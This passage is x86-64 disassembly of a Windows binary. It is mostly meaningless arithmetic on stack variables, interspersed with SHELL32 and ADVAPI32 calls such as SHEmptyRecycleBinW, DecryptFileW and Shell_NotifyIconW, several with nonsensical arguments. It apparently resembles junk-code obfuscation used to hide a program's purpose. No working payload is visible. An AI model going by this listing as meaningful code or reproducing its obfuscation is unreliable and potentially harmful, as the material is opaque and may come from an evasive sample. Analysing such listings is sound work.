mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0xdd60]
imul eax, dword [rax], 0x5156ca3
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd88]
mov eax, dword [rax]
mov dword [rsp + 0x6e94], eax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [reloc.SHELL32.dll_ILCreateFromPathW], ax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d44], ax
mov edx, LBItemFromPt
lea rcx, [rsp + 0x221d0]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, word [0x14019f188]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0xd978]
movzx ecx, al
mov rax, qword [rsp + 0xd5e0]
shl rax, cl
mov qword [rsp + 0xd8d0], rax
movzx eax, byte [rsp + 0x4ed]
mov byte [rsp + 0x538], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdbd8]
mov qword [rsp + 0xddb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xddb0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xd7b8]
movzx eax, word [rax]
mov word [rsp + 0x2ca8], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28e0]
or eax, ecx
mov word [rsp + 0x2c90], ax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xca50]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019efe0], rax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xa3d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xd170]
mov rcx, qword [rsp + 0xdd78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe80], rax
movzx eax, word [rsp + 0xcbc]
mov word [rsp + 0x2cac], ax
mov eax, dword [0x14019efac]
movzx ecx, al
mov eax, dword [rsp + 0x6d30]
sar eax, cl
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x524]
shl eax, cl
mov byte [rsp + 0x3f0], al
mov eax, dword [rsp + 0x58e0]
mov ecx, dword [rsp + 0x6b54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e84], eax
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd2c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd568]
mov qword [0x14019f218], rax
lea rax, [rsp + 0x2120]
mov qword [rsp + 0xddb8], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2760], ax
lea rax, [rsp + 0x2c04]
mov qword [rsp + 0xddc0], rax
mov rax, qword [rsp + 0xd758]
mov rcx, qword [rsp + 0xd3c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd478]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x538]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x32a], al
lea rax, [rsp + 0x6df8]
mov qword [rsp + 0xddc8], rax
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0xd428]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd1c8]
mov qword [rcx], rax
lea rdx, [rsp + 0x6e48]
lea rcx, [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xd878]
movzx eax, word [rax]
mov word [rsp + 0x2cb0], ax
lea rax, [rsp + 0x2a54]
mov qword [0x14019f220], rax
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0xd548]
mov qword [rsp + 0xddd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xddd0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe74], ax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ff], al
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xdb30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xd4c0]
mov qword [rsp + 0xddd8], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e74], eax
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x539], al
movsx eax, word [rsp + 0x28ac]
movsx ecx, word [rsp + 0x196c]
or eax, ecx
mov word [rsp + 0x2a88], ax
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0xf04]
shl eax, cl
mov word [0x14019f210], ax
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xd260]
sar rax, cl
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xd5e8]
mov rcx, qword [rsp + 0xd260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb198], rax
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c74], ax
lea r8, [rsp + 0x1e880]
mov rdx, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xd530]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov word [rsp + 0x2cb4], ax
mov r9d, SHUpdateImageW
mov r8d, 0x30
mov edx, reloc.SHELL32.dll_ILCloneFirst
mov rcx, qword [rsp + 0xd010]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0xdde8], rax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0xd568]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8c0], rax
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x6d68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d20], eax
mov r8d, 0x65
mov rdx, qword [rsp + 0xddf0]
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6e48], eax
movsx eax, byte [rsp + 0x45e]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0xa5f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a0], rax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019f12c], ax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov word [rsp + 0x2cb8], ax
mov rax, qword [rsp + 0xd480]
mov ecx, dword [rsp + 0x6254]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ce8], eax
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x518], al
lea rax, [rsp + 0xdd78]
mov qword [rsp + 0xddf8], rax
mov rax, qword [rsp + 0xdd00]
mov ecx, dword [0x14019d060]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e18], eax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xde00], rax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x522]
add eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2760]
sub eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x2a80]
mov word [0x14019f228], ax
mov rax, qword [rsp + 0xd738]
movzx ecx, al
mov rax, qword [rsp + 0xdc38]
sar rax, cl
mov rcx, qword [rsp + 0xdd68]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1240]
mov rcx, qword [0x14019f220]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a0], ax
lea rax, [rsp + 0x213c]
mov qword [rsp + 0xde08], rax
lea rdx, [rsp + 0x221d0]
mov ecx, 0xdc
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9e10], rax
movzx eax, byte [rsp + 0x445]
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xdd88]
mov ecx, dword [rsp + 0x5b3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d74], eax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xcef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbb48], rax
movzx eax, word [rsp + 0x2c98]
movzx ecx, word [rsp + 0x2a3c]
sub eax, ecx
mov word [rsp + 0x26a8], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xbf98]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d128], rax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x4c0], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6e98], eax
movsx eax, word [rsp + 0x171c]
movsx ecx, word [rsp + 0x1390]
sar eax, cl
mov word [rsp + 0xd68], ax
movzx eax, word [rsp + 0x2bd4]
movzx ecx, word [0x14019f090]
sub eax, ecx
mov word [rsp + 0x2b1c], ax
mov rax, qword [rsp + 0xd840]
mov qword [rsp + 0xde10], rax
movsx eax, byte [rsp + 0x4ed]
movsx ecx, byte [rsp + 0x3c7]
add eax, ecx
mov byte [rsp + 0x439], al
mov rax, qword [rsp + 0xdd88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6774], eax
mov edx, 0x5c
mov rcx, qword [rsp + 0xdde0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a2c], ax
lea rax, [rsp + 0x2ab0]
mov qword [0x14019f230], rax
mov rax, qword [rsp + 0xdc30]
mov qword [rsp + 0xde18], rax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xdb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd7a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd6c8]
shl rax, cl
mov qword [rsp + 0xdbc0], rax
movsx eax, word [0x14019f040]
movsx ecx, word [rsp + 0x2bb4]
or eax, ecx
mov word [rsp + 0x13cc], ax
mov eax, dword [rsp + 0x6774]
mov ecx, dword [rsp + 0x6e08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e94], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov qword [rsp + 0xde20], rax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x481]
sar eax, cl
mov byte [rsp + 0x528], al
mov rax, qword [rsp + 0xdbc8]
mov rcx, qword [rsp + 0xdb30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5f48], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d13c], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd910]
mov word [rcx], ax
movzx eax, word [0x14019f0a0]
mov word [rsp + 0x2cbc], ax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd298]
mov qword [rsp + 0xde28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb768], rax
mov eax, dword [0x14019efb0]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xde30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x51b]
mov byte [rsp + 0x53b], al
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0x9538]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc58], rax
movsx eax, word [rsp + 0x2bfc]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [rsp + 0x2b08], ax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0xbe80]
add rcx, rax
mov rax, rcx
mov qword [0x14019f000], rax
movzx eax, word [rsp + 0xcc8]
movzx ecx, word [rsp + 0x2c28]
add eax, ecx
mov rcx, qword [rsp + 0xd800]
mov word [rcx], ax
mov rax, qword [rsp + 0xd310]
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd998]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x632c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d70], eax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov byte [rsp + 0x53c], al
mov eax, dword [rsp + 0x695c]
mov rcx, qword [rsp + 0xd480]
mov qword [rsp + 0xde40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb78]
mov qword [rsp + 0xde48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc4d8], rax
mov rcx, qword [rsp + 0xde50]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019f190]
mov word [rcx], ax
movzx eax, word [rsp + 0x2bfc]
mov word [rsp + 0x2cc0], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd8]
or eax, ecx
mov rcx, qword [rsp + 0xd8b0]
mov word [rcx], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2adc]
shl eax, cl
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d6c]
shr eax, cl
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ad]
sub eax, ecx
mov byte [rsp + 0x52c], al
mov rax, qword [rsp + 0xc4d8]
mov qword [rsp + 0xde58], rax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c80]
sub eax, ecx
mov word [rsp + 0x2b3c], ax
mov rax, qword [0x14019f140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
add eax, ecx
mov word [rsp + 0x1a30], ax
mov rax, qword [rsp + 0xd208]
mov qword [0x14019f238], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd260]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc68], rax
mov rax, qword [rsp + 0xdb88]
mov rcx, qword [0x14019efe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xcf48]
mov qword [rsp + 0xde60], rax
movzx eax, word [rsp + 0x2adc]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2434], ax
lea rax, [0x14019d010]
mov qword [rsp + 0xde68], rax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5e88]
shl eax, cl
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xd4b0]
mov rcx, qword [rsp + 0xdbe0]
mov qword [rsp + 0xde70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde70]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd978], rax
lea rax, [rsp + 0x5ad8]
mov qword [rsp + 0xde78], rax
movsx eax, byte [rsp + 0x4e4]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019d011], al
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b9c], ax
movzx eax, word [rsp + 0xdf0]
mov word [rsp + 0x2cc4], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a9c], ax
mov rax, qword [0x14019f160]
movzx ecx, al
mov rax, qword [rsp + 0xdc30]
shl rax, cl
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xde78]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5cf0], eax
movsx eax, byte [rsp + 0x4ec]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x329], al
mov rax, qword [rsp + 0xaa78]
mov qword [rsp + 0xde80], rax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd588]
mov word [rcx], ax
movzx eax, word [rsp + 0x2adc]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d140], ax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c18], ax
mov eax, dword [rsp + 0x6c78]
movzx ecx, al
mov eax, dword [rsp + 0x6d34]
sar eax, cl
mov dword [rsp + 0x6d3c], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x53d], al
movsx eax, byte [rsp + 0x520]
movsx ecx, byte [rsp + 0x52f]
or eax, ecx
mov byte [rsp + 0x503], al
mov eax, dword [rsp + 0x6774]
mov dword [rsp + 0x6e9c], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9e28]
shl rax, cl
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f084], ax
lea rax, [rsp + 0xd2b0]
mov qword [rsp + 0xde88], rax
mov rax, qword [rsp + 0xd3d0]
mov rcx, qword [rsp + 0xd808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
lea rax, [rsp + 0x1d0c]
mov qword [rsp + 0xde90], rax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
sub eax, ecx
mov word [rsp + 0x2c40], ax
mov rcx, qword [rsp + 0xce48]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xd8d8], rax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd4b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a70], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xde98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdd88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
sar eax, cl
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [rsp + 0xdea0], rax
lea rax, [rsp + 0x2acc]
mov qword [0x14019f240], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
add eax, ecx
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b30], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x517], al
lea rcx, [rsp + 0xd168]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xddf8]
mov rcx, qword [rsp + 0xd388]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd2e0]
mov qword [rcx], rax
lea rax, [0x14019d118]
mov qword [rsp + 0xdea8], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
shl eax, cl
mov byte [rsp + 0x4ab], al
mov eax, dword [rsp + 0x6c24]
mov dword [rsp + 0x6ea0], eax
movsx eax, word [rsp + 0x171c]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
movzx eax, word [rsp + 0x131c]
movzx ecx, word [rsp + 0x2ae0]
sar eax, cl
mov word [0x14019f170], ax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd298]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1804], ax
movsx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c14], ax
lea rax, [rsp + 0xd128]
mov qword [rsp + 0xdeb0], rax
mov eax, dword [rsp + 0x6d6c]
mov ecx, dword [rsp + 0x6df8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b88], eax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x505]
shl eax, cl
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov qword [rsp + 0xdeb8], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
sar eax, cl
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov qword [0x14019f248], rax
movzx eax, byte [rsp + 0x3fb]
mov byte [rsp + 0x53e], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov ecx, dword [0x14019efac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb4]
xor eax, ecx
mov word [rsp + 0x29ac], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50c]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6ea4], eax
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov rcx, qword [0x14019f218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbb0], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov word [0x14019f250], ax
mov rax, qword [rsp + 0xd808]
mov rcx, qword [rsp + 0xdeb0]
mov qword [rsp + 0xdec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdec0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xdb98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdab8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0xcac8]
mov qword [rsp + 0xdec8], rax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xded0], rax
mov rax, qword [rsp + 0xd338]
mov ecx, dword [rsp + 0x6cf4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6df8], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ec], al
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x5b24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6348], eax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x4ff]
add eax, ecx
mov rcx, qword [rsp + 0xdc50]
mov byte [rcx], al
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2284]
add eax, ecx
mov word [0x14019f200], ax
movzx eax, word [rsp + 0x2b98]
mov word [rsp + 0x2cc8], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2cc8], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xded8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xded8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb9e8], rax
mov eax, dword [0x14019f0c8]
mov ecx, dword [rsp + 0x5b50]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a94], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce70]
